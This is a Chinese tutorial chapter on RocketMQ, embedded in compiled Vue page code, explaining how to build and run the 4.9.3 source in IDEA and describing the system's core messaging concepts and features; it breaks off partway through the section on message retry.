s("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[s("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第20章-消息服务-rocketmq核心技术"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第20章-消息服务-rocketmq核心技术"}},[t._v("#")]),t._v(" SA实战 ·《SpringCloud Alibaba实战》第20章-消息服务:RocketMQ核心技术")]),t._v(" "),s("p",[s("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),s("blockquote",[s("p",[t._v("一不小心《"),s("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),s("OutboundLink")],1),t._v("》专栏都更新到第20章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),t._v(" "),s("p",[t._v("注意:本项目完整源码加入 "),s("strong",[s("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),s("OutboundLink")],1)]),t._v(" 知识星球即可获取,文末有入场方式。")]),t._v(" "),s("p",[t._v("本文大部分内容来源:https://github.com/apache/rocketmq/tree/master/docs/cn")])]),t._v(" "),s("p",[t._v("在《"),s("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),s("OutboundLink")],1),t._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),t._v(" "),s("p",[t._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),t._v(" "),s("p",[t._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ。接下来,再给大家介绍下RocketMQ的核心技术。")]),t._v(" "),s("h2",{attrs:{id:"本章总览"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[t._v("#")]),t._v(" 本章总览")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-010.png",loading:"lazy"}})]),t._v(" "),s("h2",{attrs:{id:"idea启动rocketmq源码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#idea启动rocketmq源码"}},[t._v("#")]),t._v(" IDEA启动RocketMQ源码")]),t._v(" "),s("p",[t._v("RocketMQ是使用Java语言开发的,我们可以将RocketMQ的源码导入到IDEA中,使用IDEA来导入并启动RocketMQ的源码,接下来就可以在IDEA中调试RocketMQ的源码。")]),t._v(" "),s("h3",{attrs:{id:"下载rocketmq源码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#下载rocketmq源码"}},[t._v("#")]),t._v(" 下载RocketMQ源码")]),t._v(" "),s("p",[t._v("到链接"),s("a",{attrs:{href:"https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3"),s("OutboundLink")],1),t._v("下载RocketMQ源码,这里下载的是RocketMQ 4.9.3版本。")]),t._v(" "),s("h3",{attrs:{id:"将源码导入idea"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#将源码导入idea"}},[t._v("#")]),t._v(" 将源码导入IDEA")]),t._v(" "),s("p",[t._v("将RocketMQ下载的本地后,就可以将RocketMQ的源码导入到IDEA中了。导入后的项目结构如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-001.png",loading:"lazy"}})]),t._v(" "),s("h3",{attrs:{id:"编译rocketmq源码"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#编译rocketmq源码"}},[t._v("#")]),t._v(" 编译RocketMQ源码")]),t._v(" "),s("p",[t._v("在IDEA编译RocketMQ源码,需要在IDEA中配置Maven编译,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-002.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("如图所示,需要输入名称、在Working directory对应的地方选择要使用Maven编译的项目目录,这里,选择RocketMQ项目的根目录,表示编译整个RocketMQ项目。在Command line对应的文本框中输入"),s("code",[t._v("clean install -Dmaven.test.skip=true")]),t._v("来编译RocketMQ源码。其中"),s("code",[t._v("-Dmaven.test.skip=true")]),t._v("参数表示在编译的过程中忽略测试。")]),t._v(" "),s("p",[t._v("配置好之后点击IDEA右上角的运行按钮开始编译RocketMQ的源码,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-003.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("在编译的过程中可能会下载一些RocketMQ源码依赖的Jar包和插件,等待一会即可。")]),t._v(" "),s("h3",{attrs:{id:"启动rocketmq"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#启动rocketmq"}},[t._v("#")]),t._v(" 启动RocketMQ")]),t._v(" "),s("p",[t._v("在IDEA中启动RocketMQ的源码需要进行简单的配置,具体的步骤如下所示。")]),t._v(" "),s("p",[t._v("(1)在RocketMQ源码的根目录下创建conf目录,并将distribution模块下的conf目录的broker.conf文件、logback_namesrv.xml文件和logback_broker.xml文件复制到RocketMQ源码的根目录下创建conf目录中,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-004.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("(2)文件复制完成后,修改broker.conf文件的内容,修改后的内容如下所示。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("brokerClusterName "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" DefaultCluster\nbrokerName "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" broker-a\nbrokerId "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("0")]),t._v("\ndeleteWhen "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" 04\nfileReservedTime "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("48")]),t._v("\nbrokerRole "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" ASYNC_MASTER\nflushDiskType "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" ASYNC_FLUSH\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 自动创建Topic")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("autoCreateTopicEnable")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("true\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# nameServ地址")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("namesrvAddr")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("127.0")]),t._v(".0.1:9876\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathRootDir")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# commitLog路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathCommitLog")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/commitlog\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 消息队列存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathConsumeQueue")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/consumequeue\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# 消息索引存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storePathIndex")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/index\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# checkpoint文件路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("storeCheckpoint")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/checkpoint\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("# abort文件存储路径")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("abortFile")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("E:/RocketMQ/data/rocketmq/dataDir/abort\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br"),s("span",{staticClass:"line-number"},[t._v("16")]),s("br"),s("span",{staticClass:"line-number"},[t._v("17")]),s("br"),s("span",{staticClass:"line-number"},[t._v("18")]),s("br"),s("span",{staticClass:"line-number"},[t._v("19")]),s("br"),s("span",{staticClass:"line-number"},[t._v("20")]),s("br"),s("span",{staticClass:"line-number"},[t._v("21")]),s("br"),s("span",{staticClass:"line-number"},[t._v("22")]),s("br"),s("span",{staticClass:"line-number"},[t._v("23")]),s("br"),s("span",{staticClass:"line-number"},[t._v("24")]),s("br")])]),s("p",[t._v("(3)配置NameServer启动项,NameServer的启动类,在RocketMQ源码的namesrv模块中,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-005.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("启动前先要在IDEA中配置下NameServer的启动类,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-006.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("启动NameServer前重点是要在IDEA的Environment variables中配置ROCKETMQ_HOME环境变量,这里,ROCKETMQ_HOME环境变量的值是RocketMQ源码的根目录。")]),t._v(" "),s("p",[t._v("(4)配置Broker启动项,Broker的启动类,在RocketMQ源码中的broker模块中,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-007.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("启动前先要在IDEA中配置下Broker的启动类,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-008.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("配置Broker的启动类时,除了要在Environment variables后面配置ROCKETMQ_HOME环境变量外,还要在Program arguments后面配置启动RocketMQ时加载的配置文件,这里的配置文件使用-c参数指向RocketMQ源码根目录下的conf目录中的broker.conf文件,如下所示。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-c")]),t._v(" D:"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("Workspaces"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("myself"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("rocketmq"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("src"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("rocketmq-rocketmq-all-4.9.3"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("conf"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("\\")]),t._v("broker.conf\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("(5)在IDEA中分别启动RocketMQ的NameServer和Broker,可以发现在启动NameServer的控制台输出了如下日志信息。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("The Name Server boot success. "),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("serializeType")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("JSON\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("在启动Broker的控制台输出了如下日志信息。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("The broker"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),t._v("broker-a, "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".184.1:10911"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" boot success. "),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("serializeType")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("JSON and name server is "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("127.0")]),t._v(".0.1:9876\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("此时,我们到在broker.conf文件中配置的RocketMQ存储数据的根目录"),s("code",[t._v("E:/RocketMQ/data/rocketmq/dataDir")]),t._v("下查看具体信息,如下所示。")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-20-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-20-009.png",loading:"lazy"}})]),t._v(" "),s("p",[t._v("可以看到,在"),s("code",[t._v("E:/RocketMQ/data/rocketmq/dataDir")]),t._v("目录下生成了RocketMQ相关的存储信息。")]),t._v(" "),s("p",[t._v("综上,我们成功在IDEA中导入并启动了RocketMQ的源码。接下来,小伙伴们就可以在IDEA中随心所欲的调试RocketMQ的源码了。")]),t._v(" "),s("h2",{attrs:{id:"rocketmq基本概念"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq基本概念"}},[t._v("#")]),t._v(" RocketMQ基本概念")]),t._v(" "),s("h3",{attrs:{id:"消息模型"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息模型"}},[t._v("#")]),t._v(" 消息模型")]),t._v(" "),s("p",[t._v("RocketMQ主要由 Producer、Broker、Consumer 三部分组成,其中Producer 负责生产消息,Consumer 负责消费消息,Broker 负责存储消息。Broker 在实际部署过程中对应一台服务器,每个 Broker 可以存储多个Topic的消息,每个Topic的消息也可以分片存储于不同的 Broker。Message Queue 用于存储消息的物理地址,每个Topic中的消息地址存储于多个 Message Queue 中。ConsumerGroup 由多个Consumer 实例构成。")]),t._v(" "),s("h3",{attrs:{id:"消息生产者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息生产者"}},[t._v("#")]),t._v(" 消息生产者")]),t._v(" "),s("p",[t._v("负责生产消息,一般由业务系统负责生产消息。一个消息生产者会把业务应用系统里产生的消息发送到broker服务器。RocketMQ提供多种发送方式,同步发送、异步发送、顺序发送、单向发送。同步和异步方式均需要Broker返回确认信息,单向发送不需要。")]),t._v(" "),s("h3",{attrs:{id:"消息消费者"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息消费者"}},[t._v("#")]),t._v(" 消息消费者")]),t._v(" "),s("p",[t._v("负责消费消息,一般是后台系统负责异步消费。一个消息消费者会从Broker服务器拉取消息、并将其提供给应用程序。从用户应用的角度而言提供了两种消费形式:拉取式消费、推动式消费。")]),t._v(" "),s("h3",{attrs:{id:"主题"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#主题"}},[t._v("#")]),t._v(" 主题")]),t._v(" "),s("p",[t._v("表示一类消息的集合,每个主题包含若干条消息,每条消息只能属于一个主题,是RocketMQ进行消息订阅的基本单位。")]),t._v(" "),s("h3",{attrs:{id:"代理服务器"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#代理服务器"}},[t._v("#")]),t._v(" 代理服务器")]),t._v(" "),s("p",[t._v("消息中转角色,负责存储消息、转发消息。代理服务器在RocketMQ系统中负责接收从生产者发送来的消息并存储、同时为消费者的拉取请求作准备。代理服务器也存储消息相关的元数据,包括消费者组、消费进度偏移和主题和队列消息等。")]),t._v(" "),s("h3",{attrs:{id:"名字服务"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#名字服务"}},[t._v("#")]),t._v(" 名字服务")]),t._v(" "),s("p",[t._v("名称服务充当路由消息的提供者。生产者或消费者能够通过名字服务查找各主题相应的Broker IP列表。多个Namesrv实例组成集群,但相互独立,没有信息交换。")]),t._v(" "),s("h3",{attrs:{id:"拉取式消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#拉取式消费"}},[t._v("#")]),t._v(" 拉取式消费")]),t._v(" "),s("p",[t._v("Consumer消费的一种类型,应用通常主动调用Consumer的拉消息方法从Broker服务器拉消息、主动权由应用控制。一旦获取了批量消息,应用就会启动消费过程。")]),t._v(" "),s("h3",{attrs:{id:"推动式消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#推动式消费"}},[t._v("#")]),t._v(" 推动式消费")]),t._v(" "),s("p",[t._v("Consumer消费的一种类型,该模式下Broker收到数据后会主动推送给消费端,该消费模式一般实时性较高。")]),t._v(" "),s("h3",{attrs:{id:"生产者组"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#生产者组"}},[t._v("#")]),t._v(" 生产者组")]),t._v(" "),s("p",[t._v("同一类Producer的集合,这类Producer发送同一类消息且发送逻辑一致。如果发送的是事务消息且原始生产者在发送之后崩溃,则Broker服务器会联系同一生产者组的其他生产者实例以提交或回溯消费。")]),t._v(" "),s("h3",{attrs:{id:"消费者组"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消费者组"}},[t._v("#")]),t._v(" 消费者组")]),t._v(" "),s("p",[t._v("同一类Consumer的集合,这类Consumer通常消费同一类消息且消费逻辑一致。消费者组使得在消息消费方面,实现负载均衡和容错的目标变得非常容易。要注意的是,消费者组的消费者实例必须订阅完全相同的Topic。RocketMQ 支持两种消息模式:集群消费(Clustering)和广播消费(Broadcasting)。")]),t._v(" "),s("h3",{attrs:{id:"集群消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#集群消费"}},[t._v("#")]),t._v(" 集群消费")]),t._v(" "),s("p",[t._v("集群消费模式下,相同Consumer Group的每个Consumer实例平均分摊消息。")]),t._v(" "),s("h3",{attrs:{id:"广播消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#广播消费"}},[t._v("#")]),t._v(" 广播消费")]),t._v(" "),s("p",[t._v("广播消费模式下,相同Consumer Group的每个Consumer实例都接收全量的消息。")]),t._v(" "),s("h3",{attrs:{id:"普通顺序消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#普通顺序消息"}},[t._v("#")]),t._v(" 普通顺序消息")]),t._v(" "),s("p",[t._v("普通顺序消费模式下,消费者通过同一个消息队列( Topic 分区,称作 Message Queue) 收到的消息是有顺序的,不同消息队列收到的消息则可能是无顺序的。")]),t._v(" "),s("h3",{attrs:{id:"严格顺序消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#严格顺序消息"}},[t._v("#")]),t._v(" 严格顺序消息")]),t._v(" "),s("p",[t._v("严格顺序消息模式下,消费者收到的所有消息均是有顺序的。")]),t._v(" "),s("h3",{attrs:{id:"消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息"}},[t._v("#")]),t._v(" 消息")]),t._v(" "),s("p",[t._v("消息系统所传输信息的物理载体,生产和消费数据的最小单位,每条消息必须属于一个主题。RocketMQ中每个消息拥有唯一的Message ID,且可以携带具有业务标识的Key。系统提供了通过Message ID和Key查询消息的功能。")]),t._v(" "),s("h3",{attrs:{id:"标签"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#标签"}},[t._v("#")]),t._v(" 标签")]),t._v(" "),s("p",[t._v("为消息设置的标志,用于同一主题下区分不同类型的消息。来自同一业务单元的消息,可以根据不同业务目的在同一主题下设置不同标签。标签能够有效地保持代码的清晰度和连贯性,并优化RocketMQ提供的查询系统。消费者可以根据Tag实现对不同子主题的不同消费逻辑,实现更好的扩展性。")]),t._v(" "),s("h2",{attrs:{id:"rocketmq特性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq特性"}},[t._v("#")]),t._v(" RocketMQ特性")]),t._v(" "),s("h3",{attrs:{id:"订阅与发布"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#订阅与发布"}},[t._v("#")]),t._v(" 订阅与发布")]),t._v(" "),s("p",[t._v("消息的发布是指某个生产者向某个topic发送消息;消息的订阅是指某个消费者关注了某个topic中带有某些tag的消息,进而从该topic消费数据。")]),t._v(" "),s("h3",{attrs:{id:"消息顺序"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息顺序"}},[t._v("#")]),t._v(" 消息顺序")]),t._v(" "),s("p",[t._v("消息有序指的是一类消息消费时,能按照发送的顺序来消费。例如:一个订单产生了三条消息分别是订单创建、订单付款、订单完成。消费时要按照这个顺序消费才能有意义,但是同时订单之间是可以并行消费的。RocketMQ可以严格的保证消息有序。")]),t._v(" "),s("p",[t._v("顺序消息分为全局顺序消息与分区顺序消息,全局顺序是指某个Topic下的所有消息都要保证顺序;部分顺序消息只要保证每一组消息被顺序消费即可。")]),t._v(" "),s("ul",[s("li",[t._v("全局顺序\n对于指定的一个 Topic,所有消息按照严格的先入先出(FIFO)的顺序进行发布和消费。\n适用场景:性能要求不高,所有的消息严格按照 FIFO 原则进行消息发布和消费的场景")]),t._v(" "),s("li",[t._v("分区顺序\n对于指定的一个 Topic,所有消息根据 sharding key 进行区块分区。 同一个分区内的消息按照严格的 FIFO 顺序进行发布和消费。 Sharding key 是顺序消息中用来区分不同分区的关键字段,和普通消息的 Key 是完全不同的概念。\n适用场景:性能要求高,以 sharding key 作为分区字段,在同一个区块中严格的按照 FIFO 原则进行消息发布和消费的场景。")])]),t._v(" "),s("h3",{attrs:{id:"消息过滤"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息过滤"}},[t._v("#")]),t._v(" 消息过滤")]),t._v(" "),s("p",[t._v("RocketMQ的消费者可以根据Tag进行消息过滤,也支持自定义属性过滤。消息过滤目前是在Broker端实现的,优点是减少了对于Consumer无用消息的网络传输,缺点是增加了Broker的负担、而且实现相对复杂。")]),t._v(" "),s("h3",{attrs:{id:"消息可靠性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息可靠性"}},[t._v("#")]),t._v(" 消息可靠性")]),t._v(" "),s("p",[t._v("RocketMQ支持消息的高可靠,影响消息可靠性的几种情况:")]),t._v(" "),s("ol",[s("li",[t._v("Broker非正常关闭")]),t._v(" "),s("li",[t._v("Broker异常Crash")]),t._v(" "),s("li",[t._v("OS Crash")]),t._v(" "),s("li",[t._v("机器掉电,但是能立即恢复供电情况")]),t._v(" "),s("li",[t._v("机器无法开机(可能是cpu、主板、内存等关键设备损坏)")]),t._v(" "),s("li",[t._v("磁盘设备损坏")])]),t._v(" "),s("p",[t._v("1)、2)、3)、4) 四种情况都属于硬件资源可立即恢复情况,RocketMQ在这四种情况下能保证消息不丢,或者丢失少量数据(依赖刷盘方式是同步还是异步)。")]),t._v(" "),s("p",[t._v("5)、6)属于单点故障,且无法恢复,一旦发生,在此单点上的消息全部丢失。RocketMQ在这两种情况下,通过异步复制,可保证99%的消息不丢,但是仍然会有极少量的消息可能丢失。通过同步双写技术可以完全避免单点,同步双写势必会影响性能,适合对消息可靠性要求极高的场合,例如与Money相关的应用。注:RocketMQ从3.0版本开始支持同步双写。")]),t._v(" "),s("h3",{attrs:{id:"至少一次"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#至少一次"}},[t._v("#")]),t._v(" 至少一次")]),t._v(" "),s("p",[t._v("至少一次(At least Once)指每个消息必须投递一次。Consumer先Pull消息到本地,消费完成后,才向服务器返回ack,如果没有消费一定不会ack消息,所以RocketMQ可以很好的支持此特性。")]),t._v(" "),s("h3",{attrs:{id:"回溯消费"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#回溯消费"}},[t._v("#")]),t._v(" 回溯消费")]),t._v(" "),s("p",[t._v("回溯消费是指Consumer已经消费成功的消息,由于业务上需求需要重新消费,要支持此功能,Broker在向Consumer投递成功消息后,消息仍然需要保留。并且重新消费一般是按照时间维度,例如由于Consumer系统故障,恢复后需要重新消费1小时前的数据,那么Broker要提供一种机制,可以按照时间维度来回退消费进度。RocketMQ支持按照时间回溯消费,时间维度精确到毫秒。")]),t._v(" "),s("h3",{attrs:{id:"事务消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#事务消息"}},[t._v("#")]),t._v(" 事务消息")]),t._v(" "),s("p",[t._v("RocketMQ事务消息(Transactional Message)是指应用本地事务和发送消息操作可以被定义到全局事务中,要么同时成功,要么同时失败。RocketMQ的事务消息提供类似 X/Open XA 的分布事务功能,通过事务消息能达到分布式事务的最终一致。")]),t._v(" "),s("h3",{attrs:{id:"定时消息"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#定时消息"}},[t._v("#")]),t._v(" 定时消息")]),t._v(" "),s("p",[t._v("定时消息(延迟队列)是指消息发送到broker后,不会立即被消费,等待特定时间投递给真正的topic。\nbroker有配置项messageDelayLevel,默认值为“1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h”,18个level。可以配置自定义messageDelayLevel。注意,messageDelayLevel是broker的属性,不属于某个topic。发消息时,设置delayLevel等级即可:msg.setDelayLevel(level)。level有以下三种情况:")]),t._v(" "),s("ul",[s("li",[t._v("level == 0,消息为非延迟消息")]),t._v(" "),s("li",[t._v("1<=level<=maxLevel,消息延迟特定时间,例如level==1,延迟1s")]),t._v(" "),s("li",[t._v("level > maxLevel,则level== maxLevel,例如level==20,延迟2h")])]),t._v(" "),s("p",[t._v("定时消息会暂存在名为SCHEDULE_TOPIC_XXXX的topic中,并根据delayTimeLevel存入特定的queue,queueId = delayTimeLevel – 1,即一个queue只存相同延迟的消息,保证具有相同发送延迟的消息能够顺序消费。broker会调度地消费SCHEDULE_TOPIC_XXXX,将消息写入真实的topic。")]),t._v(" "),s("p",[t._v("需要注意的是,定时消息会在第一次写入和调度写入真实topic时都会计数,因此发送数量、tps都会变高。")]),t._v(" "),s("h3",{attrs:{id:"消息重试"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#消息重试"}},[t._v("#")]),t._v(" 消息重试")]),t._v(" "),s("p",[t._v("Consumer消费消息失败后,要提供一种重试机制,令消息再消费一次。Consumer消费消息失败通常可以认为有以下几种情况:")]),t._v(" 